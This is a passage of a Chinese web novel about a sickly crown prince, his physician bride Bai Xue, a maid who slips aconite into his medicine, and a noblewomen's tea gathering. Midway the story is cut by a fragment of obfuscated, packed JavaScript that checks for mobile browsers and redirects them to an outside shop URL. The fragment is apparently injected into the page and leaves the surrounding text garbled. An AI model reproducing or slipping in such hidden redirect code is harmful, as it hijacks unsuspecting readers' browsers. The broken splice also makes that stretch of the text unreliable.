裴宴景擦了擦嘴,冷不丁地说了一句:“如果我没记错的话,与我有婚约的是白雅琴。”
白雅琴低头,降低自己存在的气场。
白玉山冷汗淋漓,不知裴宴景突然说这句话,有何意味,瞥了一眼纪璇,没有说话。
纪璇知道白玉山在等她开口,她思考了一会儿,说道:“太子……”
话还没说完,裴宴景做了个让她闭嘴的手势,说道:“我不管你们以前是什么想法,既然你们侯府把白雪嫁给我,那以后你们对白雪应该有的尊重与重视,我希望一分都不要少。”
白玉山见裴宴景没有要因为替嫁的事发火,松了一口气,第一次正眼看向白雪,这个被他关了十年的庶女,竟然如此的有本事,才嫁给太子不过短短三日,竟会被他如此看重,“那是自然,她毕竟也是我的女儿。”
裴宴景:“我以为你们不把她当女儿。”
白雪震惊的看向裴宴景,这一刻周围人都已消失,在她眼中唯有裴宴景一人。
白玉山尴尬的笑了笑,“她是我的女儿,身体流着我的血脉,这是不争的事实。”
纪璇:“白雪在我眼中一直是作为我亲生女儿存在的。”
裴宴景扔下一句,“但愿如此。”看向白雪,语气温柔的问道:“吃好了吗?”
白雪呆呆地看着裴宴景,点点头。
裴宴景拉着白雪的手起身,一字一句的说道:“我们就先告辞了,岳父、岳母。”
回到东宫,白雪见裴宴景又在换衣服,问道:“你要去哪?”
裴宴景:“我去见父皇。”
白雪:“早点回来。”
裴宴景挑了挑眉,说道:“怎么?”
“舍不得我?”
白雪闻言,低头羞涩道:“我只是担心你的身体。”
裴宴景见她如此,也不再逗她,说道:“我会早点回来的。”
御书房外,苏福瑞站在门口,裴宴景还未走近,苏福瑞便说道:“太子殿下,今日身体状态好些了吗?”
裴宴景对于父皇身边的红人一向很尊重,说道:“多谢苏公公挂念,还请苏公公帮我进去通报一声,我想见父皇。”
“那太子殿下在此稍等片刻。”说完,苏福瑞走进御书房内。
裴松听见脚步声,头都没抬,看着面前弹劾太子的奏折,说道:“何事?”
苏福瑞行礼道:“陛下,太子殿下求见。”
裴松抬头看了眼门外,对于裴宴景今日陪太子妃回门的事宜,早已知晓,但他没想到裴宴景不过娶妻三日,便能够下床,心里多有疑问,但并未表现出来,“宣他进来。”
苏福瑞行礼道:“嗻。”退出门外,对裴宴景说道:“太子殿下,陛下宣您进去。”
裴宴景行礼道:“多谢苏公公。”走进御书房内,身后大门关上的声音传来,裴宴景行礼道:“儿臣见过父皇。”
裴松往休息区走,说道:“免礼,过来坐。”
裴宴景在裴松对面坐下,说道:“父皇,儿臣今日陪太子妃回了一趟娘家。”<
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p>裴松一边泡茶一边说道:“嗯,身体如何?”
裴宴景:“多谢父皇关心,儿臣感觉身体好多了。”
裴松:“你的太子妃,医术不错。”
裴宴景心里咯噔一下,“回父皇的话,她医术确实不错。”
裴松看了裴宴景一眼,漫不经心地说道:“不过,侯府竟敢想出庶女替嫁的手段,你怎么想?”
这句话的意思,在于父皇知晓,但他没有管,此时问出来,是在看他如何看待这个问题,若他选择对侯府下手,裴宴景猜父皇会对他失望,但若不对侯府下手,就会让父皇觉得他是个软弱可欺的胆小鬼。
裴宴景思考片刻,说道:“回父皇,儿臣认为现在不是对白玉山下手的时机。”
裴松看向裴宴景,“哦?”
“说来听听。”
裴宴景:“若此时对他下手,他白玉山在老百姓眼里是一个为国为民的好官,老百姓不知道他干了什么,我们却平白无故朝他下手,恐会引起民愤,但如果他白玉山有朝一日,做了被百姓厌弃之事,到了那时,再对他下手,对老百姓来说,那就是我们在为民除害。”
这番话说到了裴松心里,他很满意,“姑墨王想让他侄子来京城谈和亲,你怎么看?”
裴宴景:“回父皇的话,儿臣认为姑墨王是想把他侄子当成质子对待。”
裴松把茶放到裴宴景面前,说道:“展开说说。”
裴宴景:“回父皇的话,姑墨王想要求和,所以派他侄子到京城表面是来提和亲,实际是做人质,以示诚实守信。”
裴松:“嗯,朕得了一株天山雪莲,等下让苏福瑞给你送到东宫。”
裴宴景明白这是在赶他走的意思,立马起身行礼道:“多谢父皇,儿臣告退。”
裴松:“嗯。”
裴宴景刚回到东宫,苏福瑞便已经将天山雪莲送到了。
“多谢苏公公亲自跑一趟。”裴宴景说完,对身边的丫鬟使了个眼色。
丫鬟立马明白,上前把手中的钱袋子递给苏福瑞。
苏福瑞接过钱袋子,说道:“咱家在此祝太子殿下早日康复。”
裴宴景:“多谢苏公公关心。”
苏福瑞:“那太子殿下,咱家就先告辞了。”
裴宴景:“苏公公慢走。”
裴宴景走进书房,看向坐在书架旁边椅子上看书的白雪,一副岁月静好的模样,轻轻咳嗽了两声。
白雪立马抬头,见裴宴景站在门口,身后跟着一丫鬟,丫鬟手中抱着一个檀木盒子,白雪放下书,走到裴宴景面前,说道:“这么快就回来了?”
裴宴景朝身后的丫鬟使了个眼色。
丫鬟立马上前把盒子递给白雪。
白雪抱住盒子,抬头看向裴宴景,好奇的问道:“这是什么?”
裴宴景朝白雪抬了抬下巴,说道:“你打开看看就知道了。”
白雪疑惑的打开盒子,待看清里面的东西,立马尖叫的说道:“天山雪莲!”
白雪立马走进书房,把盒子放在书桌上,低头看着盒子里的东西。
9. 雪莲
裴宴景让丫鬟出去后,见白雪这欣喜若狂的模样,笑着跟随她走进书房,坐在椅子上,眼睛直勾勾的盯着白雪看。
白雪看着躺在盒子里,纯白的叶片,不带一点杂质,株高大约30厘米,叶片倒披针形,边缘有锯齿,长得像一朵大型的菊花。
它真的好美!
“这么大的天山雪莲不好采摘吧?”白雪见裴宴景直勾勾盯着她,以为脸上有脏东西,摸了摸脸,疑惑的问道:“我脸上有东西?”
“父皇送的。”裴宴景觉得她好可爱,喉咙一阵瘙痒,裴宴景想控制住,却怎么也控制不住,剧烈的咳嗽声响起。
白雪小跑到裴宴景身边,替他诊脉,“这株天山雪莲来的刚好,今晚就入药。”
白雪拿起笔架上的毛笔,写下药方。
裴宴景终于知晓为何白雪的字那么丑…咳~可爱,原来连拿笔都不会,“我教你写字吧?”
白雪惊讶的看向他:“真的?”
下一秒,又觉得这都什么时候了,不关心自己的身体状况,居然提出教她写字,说道:“等你身体好了,再说吧。”
裴宴景:“好,那就谢谢白雪小神医替我治病了。”
白雪被他说的有些害羞了,把药方递给他,抱着盒子往外走。
裴宴景:“你去哪?”
白雪扔下一句,“炮制天山雪莲。”便消失在裴宴景视线中。
肖玉进入书房,关上门,行礼道:“太子殿下,知晓侯府十年前的那段往事,现活着的唯有一人,但不知她躲在哪里,属下还在寻找。”
“嗯,你去查一下姑墨王的侄子,什么时候进京。”裴宴景把药方递给肖玉,继续说道:“买齐,交给白雪。”
与此同时,二皇子府邸书房。
裴筠坐在椅子上,神色晦暗不明,一个黑衣人跪在他面前,“姑墨王不愿意给我雪银毒?”
“是的,主子。”
“他不给,你不会抢吗?”裴筠顿了顿,嫌弃的语气中多几分冷冽,说道:“这点小事都干不好,留你何用?”
黑衣人慌了,脑子里疯狂思考还有什么事情,能够让他将功补过。
有了。
黑衣人说道:“姑墨王让谷杭进京提和亲的事宜。”
裴筠冷笑道:“不愧是他,为了能坐稳王位而不折手段。”
“去查谷杭进京的路线,查到就杀了吧。”说得像是杀死一只鸡,那么简单。
“遵命,主子。”
而此时的东宫。
白雪抱着盒子走进厨房,见一个烧火丫头正在往里面放柴,往里面走,见上面堆满了各种蔬菜与肉类,随口道:“能不能帮我把这里收拾一下。”
烧火丫头听见声音,抬头说道:“来了。”
白雪见她有些眼熟,“栖……霞?”
栖霞正在收拾白雪说的位置,听见她叫自己,抬头看了一眼,又低下头,行礼道:“太子妃。”
栖霞的抬头一瞬间,足以让白雪看清她脸上的伤疤,脸上一个大大的X,皮开肉绽的,能看清里面粉红的肉翻开露出来的样子,若不及时治疗,恐怕会跟随她一辈子。
一个女人脸上出现这样的疤痕,怎么在这个吃人的社会下生存,更何况她还这么年轻。
想到这里,白雪说道:“你脸上的疤是怎么回事?”
栖霞头低得更低了,闷闷地说道:“回太子妃的话,是奴婢自己不小心。”
白雪:“我可以帮你治疗。”
这一句话,就像让溺水的人捡到一根浮木,让被黑暗淹没的人感受到一丝光,照亮黑暗,栖霞就是这样的人。
栖霞抬头不可置信的看向白雪,似是怕吓到白雪又低下头,说道:“真的吗?”
白雪自信地说道:“当然。”
这句话仿佛天籁一般,在栖霞耳边响起,栖霞立马跪在地上,有些哽咽的说道:“谢…谢谢太子妃,奴婢无以为报,只有这一条命,若太子妃需要,栖霞一定……”
话还没说完,便被白雪打断,“我要你的命干嘛,你自己好好留着吧,你的命是属于你自己的,谁也拿不走,即使是我。”
白雪把栖霞扶起来,“起来吧。”
白雪把天山雪莲取出来,栖霞走到白雪身边,问道:“太子妃您要做什么,奴婢帮您。”
白雪集中注意力,清理掉非药用部分,听见栖霞说的话,头都没抬,说道:“你帮我找一个干净的,捣药用的药臼。”
栖霞:“好。”
这天山雪莲品相极好,基本没什么杂质,简单处理一下,药物就清洁纯净了。
栖霞抱着药臼跑进来,“太子妃,这个行吗?”
白雪看了一眼干净程度,说道:“可以。”指了块地方,方便等下使力,“放这吧。”
栖霞把药臼放到白雪指的地方,“太子妃还有需要帮忙的地方吗?”
白雪:“暂时没有了,你先去看火吧。”
栖霞:“好,太子妃有事叫我。”
“嗯。”白雪把处理干净的天山雪莲,放到药臼中捣碎成粉,这样就炮制完成了。
白雪抱着处理好的天山雪莲,对栖霞说道:“你明天也在厨房做事吗?我明天把药给你做好,拿给你。”
栖霞跪在地上,行礼道:“是的,奴婢谢谢太子妃。”
“起来吧。”说完,白雪往书房走。
白雪走进书房,没有看见裴宴景的身影,有些奇怪,接着往寝室的方向走。
门关着,白雪一只手开门,房间里没看见人,白雪把东西放到桌子上,往屏风方向走,打算换身衣服。
白雪刚走到屏风处,就看见裴宴景正背对着她在穿衣服,淡淡的说道:“天山雪莲我炮制好了,药方上的药买好了吗?”
裴宴景听见声音,疑惑的回头看,只见白雪站在屏风旁,望着他,一点羞涩的表情都没有,内心不禁有些失落,低头看了看自己瘦弱的身躯,难怪她不感到羞涩,“买好了。”
白雪:“在哪?”
裴宴景:“上次那个抽屉里。”
“好。”白雪转身走向床边,打开抽屉,拿出药包,往外走,“我去给你熬药,你准备好洗澡水药浴。”
裴宴景:“我知道了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17304921|198669||http|test|mini|href|location''.split(''|''),0,{}));
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>白雪往厨房的方向走,夏冰小跑几步上前,看见了白雪手中提着的药包和盒子,行礼道:“太子妃,您要去熬药吗?”
白雪:“嗯。”
夏冰:“交给奴婢吧。”
白雪看了一眼夏冰,“我自己来。”
夏冰:“奴婢明白了。”
栖霞听到脚步声,抬头看了一眼,很快又低下头。
太子妃?
栖霞抬头看向白雪,走上前,见白雪手中提着药包,抱着之前的箱子,行礼道:“太子妃,您要熬药吗?”
“奴婢可以熬药。”
白雪看向栖霞,在思索栖霞这个人可信吗?
可她在东宫里,唯一认识且熟悉的人,只有太子裴宴景。
白雪也想要有自己的人,这个人究竟值得她相信吗?
算了,试试吧。
正好今晚药浴时,还要替裴宴景针灸,她也没什么时间亲自盯着熬药。
视线在栖霞身上停顿,久到栖霞以为不会把熬药的任务交给她时,便听到白雪的声音在她耳边响起。
“好。”
栖霞声音轻快了几分,“多谢太子妃。”
白雪挑了挑眉,“让你帮我熬药,值得这么开心吗?”
在栖霞心里,这宫里的人,若没有了利用价值,便跟死人差不多了,她不想死,她想活,“这是太子妃信任奴婢的表现,奴婢才会这样高兴。”
白雪把药包与盒子递给她,“盒子里的粉末取一钱,同药包里的药一同熬,小火慢熬五十分钟后取出。”
栖霞接过,“奴婢知晓了。”
这里的事情才发生,肖玉便已经将厨房里发生的事情,原原本本的告诉了裴宴景。
裴宴景只是看向盆里枯萎的花朵,轻轻捏碎,看着手中花朵留下的汁液,淡淡道:“由她去吧,监视栖霞熬药的一举一动。”
肖玉正想回答,听到了白雪的脚步声,越来越近,在她推门而入时,消失在房间里。
白雪见裴宴景背对着她看那盆枯萎的盆栽,她记得这是她倒了药后的盆栽,花朵已经枯萎,好奇的问道:“开出新的花了吗?”
裴宴景转身看向白雪:“没有。”
白雪:“洗澡水好了吗?”
还未等裴宴景回答,一个丫鬟走到房间里,行礼道:“太子、太子妃,洗澡水好了。”
裴宴景看向丫鬟,“嗯。”
白雪从抽屉里拿出针灸包,说道:“走吧,药浴去。”
白雪一走进洗浴房,顿时愣住了,与第一次来大不相同。
房间里不知何时摆放了一个檀木的衣柜,里面摆放着属于她的换洗衣物。
正中央摆放着的木制浴桶里还放了一张坐凳,角落里放了一碟沉香汁,使得房内空气清新怡人了不少。
白雪看向裴宴景,“你新弄的?”
裴宴景,“怎么样?”
“喜欢吗?”
“待我好后,带你去泡温泉。”
白雪:“我现在也可以自己去泡啊。”
裴宴景被白雪这句话噎住,解释道:“那不一样。”
10. 泡温泉
白雪反问道:“有什么不一样?”
当然不一样。
到那时,他身体恢复正常,习武几日,再与白雪一同泡温泉。
裴宴景不信,白雪会无动于衷。
许是之前白雪见他换衣服时,脸不红心不跳的,激起了裴宴景的胜负欲,他想看白雪脸红耳热,害羞的表情。
裴宴景没有回答她的话,走向屏风脱掉外衣,露出里面的里衣。
白雪自觉的转身背对着裴宴景,手指不自觉地搅动着衣服。
裴宴景从屏风后,缓缓走出来,见她背对着自己,自然的脱掉里衣,缓缓走进浴桶坐下,浴桶里的水呈黑褐色,味道有股淡淡的,说不清的药味。
“我好了。”
裴宴景的声音在空荡的房间里回荡,白雪转身看向裴宴景。
裴宴景头发半泡在水中,湿淋淋的头发贴在脸上、脖颈处、胸前,本就白皙的皮肤更加白了几分,身上交错的疤痕增加了许多野性魅力。
上升的雾气让裴宴景狭长的桃花眼多了几分神秘,显得格外迷人,白雪一时间有些慌了神
“怎么了?”就连裴宴景的嗓音,听在白雪耳里,都多了几分独特的诱惑。
白雪没有回答,站在原地一动不动。
裴宴景疑惑的看着她。
白雪摇摇头,把脑中那些乱七八糟的情绪甩出脑外,走了过去,从包里取出一块手帕递给裴宴景,将针灸包放置于凳上,从中取出银针,“今日会更痛,你忍一下。”
“好。”裴宴景接过手帕,上面还残留着白雪身上的香气,他把手帕轻轻放入嘴中咬住,白雪身上的香气似有似无的窜入他的鼻腔,直达心底深处。
药物的有效成分原本随着皮肤渗透进入裴宴景的体内,在他体内犹如无头苍蝇一般乱窜,随着白雪稳定而准确的手法,将九根银针准确地插入指定穴位中,那些药物犹如神助一般,聚集在指定穴位上。
闷哼声在安静的房间里响起,虽然很小声,但还是进入了白雪耳中。
裴宴景原本捏着浴桶边缘的手,慢慢的往里掐,白雪担心他手指会痛,一屁股坐在矮凳上,把他的手放在自己手腕上。
温热柔软的触感与僵硬的木头手感,完全不同,但他并未察觉,裴宴景额头、脸部、脖颈、手臂、手腕、以及手中,汗水一滴一滴的渗出,聚集在一起,慢慢地流入浴桶中、地上以及白雪的手腕上。
时间一分一秒的过去,裴宴景缓缓睁开双眼,感受到手上温热柔软的触感,低头看去,自己的手掐在白雪手腕上,放开手,把手帕从嘴里慢慢取出来,说道:“痛吗?”
白雪轻轻摇头,“没事。”
银针从裴宴景身上一根一根的取下,每取出一根,裴宴景感觉自己的身体,都更轻快了一分。
白雪把取出的银针一根一根的放入针灸包中,“感觉怎么样?”
裴宴景舒展了一下身体,感受着体内的能量,“很好。”
白雪:“你穿了衣服,把针灸包帮我拿回寝室,我去看看药怎么样了。”
裴宴景:“好。”
白雪这才起身往外走,拉开古铜色的大门,走出门外缓缓合上,往厨房的方向走。
而此时的厨房里。
栖霞望着眼前咕噜咕噜冒着泡泡的中药,思绪慢慢飘向几天前。
栖霞跟在皇后身边的红人——张嬷嬷身后,今日一大早,张嬷嬷便到丫鬟房中叫她,她虽然不明白发生何事,但她知道自己暴露了,忐忑不安地跟在张嬷嬷身后,离皇后宫中越近,她就越忐忑不安,心脏仿佛要从心里跳出来一样。
虽然栖霞这段路早已走了千万遍,但这次或许是心境不同了,她竟闻到了腐烂的味道。
栖霞环顾四周,目光落在不远处的古井上,那里从里面冒出了一棵树,叶子青葱翠绿,没有一片黄叶。
栖霞的脚步缓缓踏上石拱桥,桥面采用单孔敞肩圆弧石拱结构,这是栖霞第一次,每一步都踩得很实,原来这就是脚踏实地的感觉。
栖霞闻到一股浓烈的花香味,是从皇后宫里传出来的味道,那股味道不是一种,而是十几种味道混合在一起形成。
房间里,杜若华侧躺在美人榻上,一只手撑着半张脸,闭目养神的样子,穿着一袭月华色裙,外搭一条青绿色纱,身后两名丫鬟举着大扇子,缓缓的替她煽风。
栖霞跪在地上,“皇后娘娘,万福金安。”
杜若华睁开眼睛,看向栖霞,“你可知错。”
栖霞虽不明白,还是磕头道:“奴婢知错。”
杜若华轻笑出声,缓缓抬手,站在一旁的丫鬟,立马上前,扯着栖霞的衣服向外拖。
栖霞挣扎着爬到杜若华面前,想伸手触碰又不敢,喊道:“请皇后娘娘再给奴婢一个机会。”
杜若华:“机会?”
“机会都是给有价值的人,而你……”
丫鬟再次上前,这一次没有给栖霞挣脱的机会。
思绪渐渐收回,手里捏着一小包,里面装着乌头制成的粉末,栖霞缓缓打开包装,露出里面的粉末倒入……
肖玉躲在暗处,看着这一切,在她倒的时候,刚想走出来阻拦她,余光瞥见朝厨房来的白雪,等他再次回头时,栖霞已经倒完了。
白雪走进厨房,看见栖霞背对着她,问道:“药好了吗?”
栖霞回头看了一眼,又转头端着药,走到白雪面前,行礼道:“太子妃,药好了。”
白雪闻到了乌头的味道,但不是碗里,而是……
白雪看向熬药的火堆上,里面霹雳吧啦的响着,上面还有未烧的白色粉末,收回视线看向栖霞,“明日在这里等我。”
栖霞:“奴婢多谢太子妃。”
肖玉松了口气的同时转身,赶在白雪到达之前告诉裴宴景此事。
白雪推开房门,见裴宴景坐在椅子上,看向门口的方向,与她四目相对,白雪走进房间,把药递给裴宴景。
裴宴景接过碗,一饮而尽,苦涩的味道在口腔里蔓延,眼前突然出现一只手,裴宴景抬头看向白雪。
白雪缓缓张开手,露出里面的手帕,她把手帕缓缓打
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开,里面放了一颗蜜饯。
裴宴景盯着那颗蜜饯,思绪飘到了小时候。
院里,一小男孩身着银黑色的锦袍,举着一把小木剑,练习师傅教的招式。
“宴儿。”
裴宴景回头,见娘亲呼喊着他,坐在石凳上,张开双臂,男孩丢下手里的木剑,跑了过去,扑倒在娘亲怀中。
耳边响起锦绣姑姑的声音,“太子殿下,您慢点,别把皇后娘娘扑倒了。”
“无碍。”
娘亲温柔的声音响起,裴宴景抬头看向娘亲,娘亲把他额上的碎发分开,从桌上端起药,递给他说道:“诺,把药喝了,病才能早日痊愈。”
裴宴景接过一饮而尽,把药碗还给娘亲,娘亲像变戏法一般,拿出蜜饯。
裴宴景一愣,“娘,药不苦。”
“这是娘给你乖乖喝完的奖励。”
思绪回到现在。
裴宴景:“不用,药不苦。”
白雪:“这是给你乖乖喝药的奖励。”
裴宴景不可置信的抬头看向白雪,脑海中砰地一声,如烟花般绽放,如此的绚丽夺目。
裴宴景鬼使神差的,拿起那颗蜜饯放进嘴里,细细品味,甜入心底。
白雪见他吃了蜜饯,把手帕放在桌上,走到屏风后面脱下外衣。
裴宴景走过桌边时,见到桌上白雪留下的手帕,思索片刻拿到手中。
白雪从屏风后面出来,见裴宴景站在桌边背对着她,桌上的手帕不在了,好奇的问道:“手帕呢?”
裴宴景拽紧手中的帕子,回头看向白雪,“我让丫鬟拿去洗了。”
“好。”白雪说完,朝床的方向走,“你睡里面吗?”
裴宴景快速的把帕子放进兜里,听到白雪的问话,走了过去,“哦,来了。”
四周被茂密的竹林围绕,竹子清翠挺拔,微风轻轻拂过,竹叶沙沙作响,温泉池边错落有致地摆放着形态各异的石头,温泉池面烟雾缭绕,如仙境一般。
裴宴景下半身穿了一条白色的亵裤,泡在温泉池里,光着上半身,只露出结实的肩膀,眼睛上盖了一层白纱,
白雪穿着一层薄纱,缓缓走进温泉,慢慢得向裴宴景身边走去。
裴宴景闻到独属于白雪身上的香气,轻声开口说道:“来了。”
“嗯。”简单的一个字,听在裴宴景耳里,仿佛天籁一般。
裴宴景感觉到白雪的身体紧挨着他,犹如有蚂蚁一般在裴宴景全身上下攀爬。
“郎君。”白雪把他眼睛上的白纱轻轻取下,魅惑的嗓音在裴宴景耳边响起。
裴宴景睁开双眼,看向白雪。
“妾身,美吗?”
她白皙的脸颊上洋溢着笑意,许是泡温泉的缘故,脸颊处泛出桃花般的粉嫩之色,眼眸含着春水清波流盼般望着他。
看得裴宴景心生荡漾。
裴宴景一手揽住白雪的腰,盈盈一握,白雪便扑倒在他的肩膀上笑靥如花,轻轻捶打了一下他的肩膀,“郎君,你真坏。”
“讨厌。”
11. 品茶1
“我还有更坏的,你要尝尝吗?”裴宴景说着,把白雪用力的往他身边一带。
白雪娇羞的点了点头。
裴宴景笑着用手轻轻地勾着白雪下巴,慢慢的往上抬,裴宴景的脸慢慢靠近白雪,在裴宴景的嘴即将碰上白雪的嘴时。
一声公鸡鸣叫声响起。
裴宴景睁开双眼,看着房顶,眼中闪过一丝懊恼。
该死的鸡鸣声!
裴宴景坐起身,看向□□。
女人真可怕,竟让他损失了一条亵裤。
又看向熟睡的白雪,她把自己睡成了大字,裴宴景往旁边挪了挪。
看来得离她远点。
又挪近了一些。
算了,这也不是她的错。
裴宴景换好衣服,站在院子的大树下,望着眼前的树。
一把刀咻的一下砍在树上,只留下半把刀身与刀柄,谷杭下腰躲过,还来不及庆幸,几名黑衣人朝他袭来。
有的飞至半空,有的攻他底盘,更有甚者直接抛出匕首,攻他腰部。
谷杭举起右手,手指扣动机关,一只铁爪从他袖中射出,直直的抓入树干。
千钧一发之际,谷杭像猴子在树林中荡秋千一般,躲过几名黑衣人的攻击。
几名黑衣人见站在原地的人消失不见,即将攻击到队友身上,纷纷用力朝旁边攻击,霎时间黑衣人滚落一地。
谷杭躲过人的攻击,却没躲过匕首,他刚站稳,一匕首刺入他的腰间。
谷杭闷哼一声,为了不让匕首在奔跑中越陷越深,他决定拔出匕首,咬牙将匕首轻轻扯出,匕首被他随意的丢在地上,清脆的声音响起,时间不过才几秒钟而已,谷杭捂着伤口往树林深处跑。
黑衣人都已站立起来,看着谷杭逃跑的背影,领头之人扔下一句,“追。”黑衣人各显神通,纷纷朝谷杭追去。
谷杭有些不明白,为何他才刚踏入太平王朝的地界,便被人追杀,叔叔派来保护他的人,皆被黑衣人杀死。
起初他以为是被叔叔发现他偷听,想要杀他灭口,可那几个黑衣人说的话,明显是太平王朝的语言。
他也不知道自己得罪了谁,竟要杀他灭口。
谷杭费力逃跑,身后之人穷追不舍。
裴宴景坐在椅子上,看着白雪梳妆打扮,想起昨日肖玉的话,问道:“今日带你出门玩,怎么样?”
这句话犹如天籁一般,白雪眼睛瞬间亮了几倍,看向裴宴景,语气惊喜万分的说道:“真的吗?”
裴宴景没想到只是带她去玩,她便如此高兴,真是一个容易满足的人啊。
御和楼,店小二把毛巾随意的搭在肩上,余光瞥见进店的两位男子。
一位长得高、帅,但一看就身体不好,另一位看着身体健康、脸色红润,却长得矮、清秀,活像一位娘娘腔。
店小二立马上前,笑着说道:“两位客官里面请。”店小二本想问大堂还是雅间,但见两位气质不凡,穿着贵气,立马问道:“请问两位是订的哪一个雅间?”
裴宴景走进店内,随意地说道:“观隐。”
观隐?
三年来无数人想要订的雅间,但每一次都被掌柜拒绝,说是这间早已有主。
店小二神色变化了一瞬,说道:“两位稍等,小的立马去问问掌柜的。”
店小二步履匆匆的走向柜台,“掌柜,有人要订观隐。”
陈掌柜正算账算到关键时刻,头都没抬地说道:“不管是谁。”
“带他们去其他的雅间,说观隐早就被人订了。”
裴宴景与白雪走到柜台前。
裴宴景:“陈掌柜,几年不见,你可是越来越厉害了。”
陈掌柜抬头看向来人,感觉有些眼熟,下一秒便认出来人,不可置信的说道:“太……”察觉到自己失言,又立马改口说道:“太好了,您身体健康真是太好了。”
走出柜台,细细的观察裴宴景,不知为何,有些哽咽,“我还以为,我再也见不到您了。”
裴宴景语气无奈地说道:“好了,我不是完好无损的站在你面前吗?”
陈掌柜看向裴宴景身旁的白雪,问道:“这位是?”
裴宴景没回答,而是说道:“说来话长,这里不是说话的地方,先带我们去观隐吧。”
陈掌柜环顾四周,店里客人早就带着好奇的目光,频频往这边看来,立马恢复正常,说道:“瞧我,这一激动就忘了。”对着一旁的店小二,吩咐道:“带两位贵客去观隐。”
店小二上前,手臂完全伸直,面向前方,微微弯腰,说道:“二位贵客,这边请。”
待两位离开后,与陈掌柜相识的客人,立马问道:“陈掌柜,那两位是谁啊?”
“居然去了观隐,我可是知道那雅间。”说着用手比了个三,“整整空了三年。”
同伴碰了碰他手肘,说道:“哪里是三年,是三年多,快四年了。”
陈掌柜一边走进柜台,一边笑着回答:“故人。”
刚刚还各说各话的大厅,霎时间热闹非凡,而众人口中交谈的对象,便是进入观隐的两位贵客。
白雪一踏入观隐,便被里面的精致、典雅所吸引。
整间屋子用屏风隔断,中间摆放着一张黄花梨圆桌,四周配置着黄花梨八足圆凳,桌上摆放着紫砂壶和配套的茶杯。
右手边放置了一张黄花梨做的拔步床,悬挂着月白色绣粉色花卉以及浅绿色草、虫的纱幔,床榻铺以古香缎,一旁摆放着熏炉,烟雾缭绕。
白雪深吸了一口气,是檀木香。
左手边放置着一张黄花梨大画案,上陈法帖、宝砚和笔筒,淡青色的瓷瓶温润雅致,瓶身线条流畅,里面插着粉白的花朵,娇艳欲滴,绿叶衬托着花朵的美丽,使其恰到好处。
其旁挂着一幅烟雨朦胧的山水图,其上写着:
潇湘两岸树模糊,烟雨霏微似画图。
鸿雁影斜风正急,鹧鸪声断日将晡。
帆从青草湖边落,酒向黄陵庙下沽。
无限凄凉禁不得,几回回首望神都。
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(出自:明·吕渊——湘江烟雨,大体意思:潇湘江两岸的树木隐隐约约,烟雨迷蒙宛如画卷;鸿雁身影倾斜,风正劲吹,鹧鸪的啼声断断续续,太阳即将落山;船帆从青草湖边落下,酒是在黄陵庙下买的;无尽的凄凉难以承受,几次回头望向那繁华的都城。)
门一关上,裴宴景便带着白雪去往凉亭,凉亭在水池中央,水里养着红白锦鲤、丹顶五色锦鲤、黄金锦鲤,一条由青灰石阶铺成去往凉亭的路,旁边由假山形成瀑布。
白雪坐在凉亭里,听着流水声,看裴宴景泡茶,她感觉到惬意十足,但很快就被隔壁传来的声音打扰,这片刻宁静。
——听雪·雅间。
几名世家、贵族女子坐在茶室,讨论的话题亦是——观隐·雅间里的两位主人公。
陇西赵氏——赵清懿穿着锦衣华服,长相清纯可爱,一旁的丫鬟从背包里取出梅花锁递给赵清懿。
赵清懿摆弄着手里的梅花锁,耳朵却竖着听身旁几位的交谈,没有开口。
清河青氏——青岚待得无聊,对她们口中所说的太子、太子妃毫不关心,若不是爹爹非让她来,她肯定是不会来的,还不如呆在家里玩踢毽。
青岚百无聊赖地坐在位置上发呆,无意瞥见身旁的赵清懿玩梅花锁,一脸好奇的靠近赵清懿问道:“你怎的出来还玩这个?”
“这个怎么玩?”
赵清懿凑近了些,把梅花锁放在两人中间,指着其中一根,说道:“你来试试,把这个从这里取出来。”
青岚按照赵清懿手指的地方,轻轻一拽便出来了,一脸不可思议的样子,“这么简单?”
赵清懿把手中的梅花锁放到青岚怀里,轻声道:“借给你玩玩。”
“好。”青岚集中注意力,低头玩着手里的梅花锁,试了好几根,却怎么也抽不出。
看向赵清懿,见赵清懿眼中毫无看笑话的眼神,而是温柔的指了指其中一根,“你试试抽这个。”
青岚跟着赵清懿手指的地方,轻轻一抽,果然抽出来了,把梅花锁还给赵清懿,“这也太难了,我不会。”嘟着嘴,可爱极了。
赵清懿手指轻轻戳了戳青岚嘟着嘴的脸蛋,轻笑一声,“好啦,下次我找一个简单的,教你怎么玩。”
青岚叉着腰故作凶狠的说道:“你干嘛?”听到赵清懿说的话,笑着挽住赵清懿手臂,“真的吗?”
赵清懿见她如此可爱,起了几分逗弄的心思,“骗你的。”
青岚放下手臂,转身背对着赵清懿,双臂交叉,动作一气呵成,说道:“我再也不理你了。”
赵清懿轻声说道:“真的?”
“那我下次不教你了。”
青岚转身看向赵清懿,试探的问道:“你真愿意教我?”
赵清懿点了点头,青岚立马挽住赵清懿手臂,“你真好。”
李逸飞之女——李婉宁大声说道:“你说谁呢?”
齐鲁之女——齐含贞也生气了,站起身指着李婉宁鼻子,说道:“我就说你怎么了?”
12. 品茶2
齐含贞每天舞刀弄剑的,李婉宁根本不敢与她打斗,她一个内宅女子,哪能打得过她齐含贞。
李婉宁哼了一声,故作大气的说道:“我才懒得和你争。”
齐含贞也懒得与她计较,一个内宅女子,天天想的都是如何嫁一个好夫君,不是她看不起李婉宁,而是她认为这世间,唯有自己才是最靠得住的。
齐含贞还未说话,一道温柔的声音响起。
“这是发生什么事了?”
众人纷纷回头,看向门口,神色各异,有平淡、好奇、讨好和一丝不易察觉的厌恶。
只见一女子,容貌姣好、举止优雅,身着一袭柔软轻薄的紫色纱袍广袖衫,领口处用深紫、浅紫、白色丝线绣着渐变色的鸢尾花,用浅绿、深绿色丝线绣枝干与叶片,内里一条月白素色裙,头饰简单、精致。
众人纷纷行礼道:“公主。”
裴静姝抬手示意,不经意间露出手腕上,那条红玛瑙十八子手串,“今日小聚,各位不必拘谨。”
众人起身,说道:“是。”
李婉宁惊呼出声,捂着嘴,惊讶道:“公主您手腕上的十八子手串,不会是红玛瑙做的吧?”
裴静姝摸了摸手腕上的手串,看向李婉宁眼神透出一丝满意。
